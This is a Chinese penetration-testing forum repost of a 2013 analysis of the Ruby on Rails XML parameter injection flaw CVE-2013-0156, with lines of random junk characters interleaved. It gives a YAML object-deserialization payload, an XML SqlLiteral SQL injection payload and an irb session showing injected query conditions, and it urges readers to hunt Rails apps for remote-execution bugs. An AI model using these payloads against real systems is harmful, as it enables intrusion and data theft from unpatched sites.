中国网络渗透测试联盟
标题:
Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析
[打印本页]
作者:
admin
时间:
2013-1-11 21:16
标题:
Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析
Author: wofeiwo#80sec.com
3 y" u* D# F0 {' Y! J8 F
) C! _( q4 l5 T4 ?! O/ t
注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。
1 S( q) G' h9 Z$ Y4 |
4 s) b* e5 c y# Q. ~
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.
) }' T' J, g y5 @4 b* |
5 k! \/ S% [# V* `
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
/ Y0 q5 N& m/ E7 s' L# f0 z3 H! l
; j# H/ T. ~3 y3 `& @/ ?* x; h
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
' x8 C( a( n7 E: c6 A8 x1 j
' A( w {% `, `" g5 b3 X, J3 T
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
2 _" _, [ _; X' A% i4 I
& `* U2 V% Y+ V7 P2 t" e7 k% Y
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
1 t- c6 d! h* U+ I- _* P5 i
7 c6 N4 \" t0 b! ~" c2 k
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
6 F! {0 L0 N9 h
/ z8 z" b; l u% X2 C' ?9 o
然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
7 G; U, ^" S- i- O% [" {
& s* W- h9 w& A: G. ]2 o
但是等等,还有另一个参数类型,yaml。
* G( @- x7 i g( R" E
# e9 a9 u' H* Q7 d
yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。
: Y9 O; Q, T7 I2 \* _% p# ` D
0 Q3 x4 D7 v6 J
<test type="yaml">--- !ruby/object:A
# a2 {! n2 H9 R% A) {% J" M
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。
/ Z" Y' j1 O! j3 i* ?
. u( C# { S- x {1 p
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
7 {$ |- T% J+ D0 a
; z8 b, G6 q& i; D x9 c
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。
/ S; {4 e# H2 ?$ S3 J+ U1 p# ^
' u! `* n+ \ u) H: r
一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)
* q8 d; z! g- B3 a
8 S4 S1 E6 t$ [3 `
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
" y/ I" J6 \8 x8 a6 E8 J0 Q) D
/ i6 U/ A. v/ [; x: k D( a
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
! C- [$ Q1 J7 d: T! F0 W
1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。
7 q+ l( C$ _; y
+ i5 v1 u, y( C# h% H5 G
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
7 ^/ W( t! z2 P2 G' O
0 R0 S5 w0 S4 [( S# o' \
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2